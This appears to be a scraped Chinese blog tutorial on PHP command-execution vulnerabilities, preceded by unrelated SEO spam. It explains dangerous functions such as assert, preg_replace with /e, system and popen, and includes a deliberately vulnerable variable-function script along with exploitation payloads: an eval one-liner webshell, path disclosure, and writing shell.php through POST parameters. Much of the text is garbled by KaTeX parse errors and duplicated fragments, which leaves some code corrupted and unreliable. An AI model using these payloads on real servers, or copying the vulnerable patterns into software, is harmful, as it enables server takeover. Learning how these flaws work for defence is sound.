上海網(wǎng)站建設公司價格深圳網(wǎng)站seo服務
命令執(zhí)行漏洞概述
- 命令執(zhí)行定義
- 命令執(zhí)行條件
- 命令執(zhí)行成因
- 命令執(zhí)行漏洞帶來的危害
- 遠程命令執(zhí)行漏洞相關(guān)函數(shù)
- assert()
- preg_replace()
- call_user_func()
- a ( a( a(b)可變函數(shù)
- 遠程命令執(zhí)行漏洞的利用
- 系統(tǒng)命令執(zhí)行漏洞相關(guān)函數(shù)
- system()
- exec()
- shell_exec()
- passthru()
- popen()
命令執(zhí)行定義
- 基本定義:命令執(zhí)行漏洞是指攻擊者可以隨意執(zhí)行系統(tǒng)命令,分為遠程命令執(zhí)行(遠程代碼執(zhí)行)和系統(tǒng)類命令執(zhí)行。
- 原理:程序應用時有時需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),如PHP中的system、exec、shell_exec、passthru、popen、proc_popen,當用戶能控制這些函數(shù)的參數(shù)時,就可以將惡意系統(tǒng)命令,拼接到正常的命令中,從而造成命令執(zhí)行攻擊。
命令執(zhí)行條件
- 用戶能夠控制函數(shù)輸入
- 存在可以執(zhí)行代碼或者系統(tǒng)命令的危險函數(shù)
命令執(zhí)行成因
- 由于開發(fā)人員再編寫源碼的時候,沒有針對代碼中的可執(zhí)行的特殊函數(shù)入口做過濾,導致客戶端可以提交惡意構(gòu)造語句,并且提交服務端執(zhí)行。
- 命令注入攻擊時,Web服務器沒有過濾類似System,eval和exec等函數(shù),是漏洞攻擊成功的主要原因。
命令執(zhí)行漏洞帶來的危害
- 繼承Web服務程序的權(quán)限去執(zhí)行系統(tǒng)命令(任意代碼)或者讀寫文件
- 反彈Shell
- 控制整個網(wǎng)站甚至整個服務器
- 進一步內(nèi)網(wǎng)滲透
遠程命令執(zhí)行漏洞相關(guān)函數(shù)
assert()
說明:檢查斷言是否為false
assert(mixed $assertion, Throwable $exception = ?): bool
傳統(tǒng)斷言(PHP5和7)
**如果 assertion 是字符串,它將會被 assert() 當做 PHP 代碼來執(zhí)行。**如果傳入了 boolean 的條件作為 assertion,這個條件將不會顯示為斷言函數(shù)的參數(shù);在調(diào)用你定義的 assert_options() 處理函數(shù)時,條件會轉(zhuǎn)換為字符串,而布爾值 false 會被轉(zhuǎn)換成空字符串。
斷言這個功能應該只被用來調(diào)試。應該用于完整性檢查時測試條件是否始終應該為 true,來指示某些程序錯誤,或者檢查具體功能的存在(類似擴展函數(shù)或特定的系統(tǒng)限制和功能)。
簡單說就是assert后面跟著字符串,那就當作php代碼進行處理了。
preg_replace()
preg_replace — 執(zhí)行一個正則表達式的搜索和替換
preg_replace(string|array $pattern,string|array $replacement,string|array $subject,int $limit = -1,int &$count = null
): string|array|null
搜索 subject 中匹配 pattern 的部分,以 replacement 進行替換。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,int $limit = -1 [,int c o u n t ] ] ) : m i x e d 其中 p a t t e r n 是要搜索的模式。可以是一個字符串或字符串數(shù)組。當 p a t t e r n 存在一個“ / e ”修飾符時, count ]] ) : mixed 其中pattern是要搜索的模式??梢允且粋€字符串或字符串數(shù)組。當pattern存在一個“/e”修飾符時, count]]):mixed其中pattern是要搜索的模式??梢允且粋€字符串或字符串數(shù)組。當pattern存在一個“/e”修飾符時,replacement的值會被當成php代碼來執(zhí)行。
現(xiàn)在解釋一下這個函數(shù)的具體使用方法:
簡化一下模型:preg_replace(O,A,HELLOWORLD),就是把第三個參數(shù)的中的O替換成A。
代碼中第一個參數(shù)中的“.”代表任意字符,“*”代表任意次數(shù),兩個連接起來就代表任意字符串。
就是因為加了一個/e,這個時候就會把第二參數(shù)當作php函數(shù)進行執(zhí)行。
call_user_func()
call_user_func — 把第一個參數(shù)作為回調(diào)函數(shù)調(diào)用
call_user_func(callable c a l l b a c k , m i x e d . . . callback, mixed ... callback,mixed...args): mixed
a ( a( a(b)可變函數(shù)
<?php
if(isset( $_GET['a' ])&isset($_GET['b'])){@$a = $_GET['a'];@$b = $_GET['b' ];@$a($b);//函數(shù),可變函數(shù)//$a就是函數(shù)的名//$b就是函數(shù)的值//?a=assert&b=phpinfo()//assert(phpinfo());
else{echo "Please input a&b";
?>
就是前面的作為函數(shù)名,后面的參數(shù)作為函數(shù)的參數(shù)。
遠程命令執(zhí)行漏洞的利用
?a=@eval(KaTeX parse error: Expected group after '_' at position 28: …一句話木馬 ?a=print(_?__FILE_);獲取當前絕對…_POST[1],$_POST[2])); 1=shell.php&2=<?phpphpinfo()?>寫shell
*************************************************************************************************************************************************************遠程命令執(zhí)行我們提供的字符串是php代碼,而系統(tǒng)命令執(zhí)行提供的字符串時系統(tǒng)命令
系統(tǒng)命令執(zhí)行漏洞相關(guān)函數(shù)
- system()
- exec()
- shell_exec()
- passthru()
- popen()
- 反問號
system()
exec()
(PHP 4, PHP 5, PHP 7, PHP 8)
exec — Execute an external program
Description :
exec(string KaTeX parse error: Expected 'EOF', got '&' at position 16: command, array &?output = null, int &$result_code = null): string|false
exec() executes the given command.
shell_exec()
Description:
shell_exec(string $command): string|false|null
參數(shù)就是要執(zhí)行的命令。
passthru()
passthru ( string c o m m a n d [ , i n t s command [, int s command[,intsreturn_var ] ) : void
同exec()函數(shù)類似,passthru()函數(shù)也是用來執(zhí)行外部命令(command)的。當所執(zhí)行的Unix命令輸出二進制數(shù)據(jù),并且需要直接傳送到瀏覽器的時候,需要用此函數(shù)來替代 exec()或 system()函數(shù)。常用來執(zhí)行諸如 pbmplus 之類的可以直接輸出圖像流的命令。通過設置Content-type為image/gif,然后調(diào)用pbmplus程序輸出 gif 文件,就可以從 PHP腳本中直接輸出圖像到瀏覽器。
參數(shù):
command:要執(zhí)行的命令。
return_var:如果提供return_var參數(shù),Unix命令的返回狀態(tài)會被記錄到此參數(shù)。
popen()
popen ( string $command , string $mode ) : resource
打開一個指向進程的管道,該進程由派生給定的command命令執(zhí)行而產(chǎn)生。
參數(shù)
command:命令。
mode:模式。
<?php
if(isset($_GET['a'])){popen( "whoami >>1.txt" , 'r');
}else{echo "Please input a";
}
?>
看一下代碼中的大于號:
“>:覆蓋”
“>>:追加”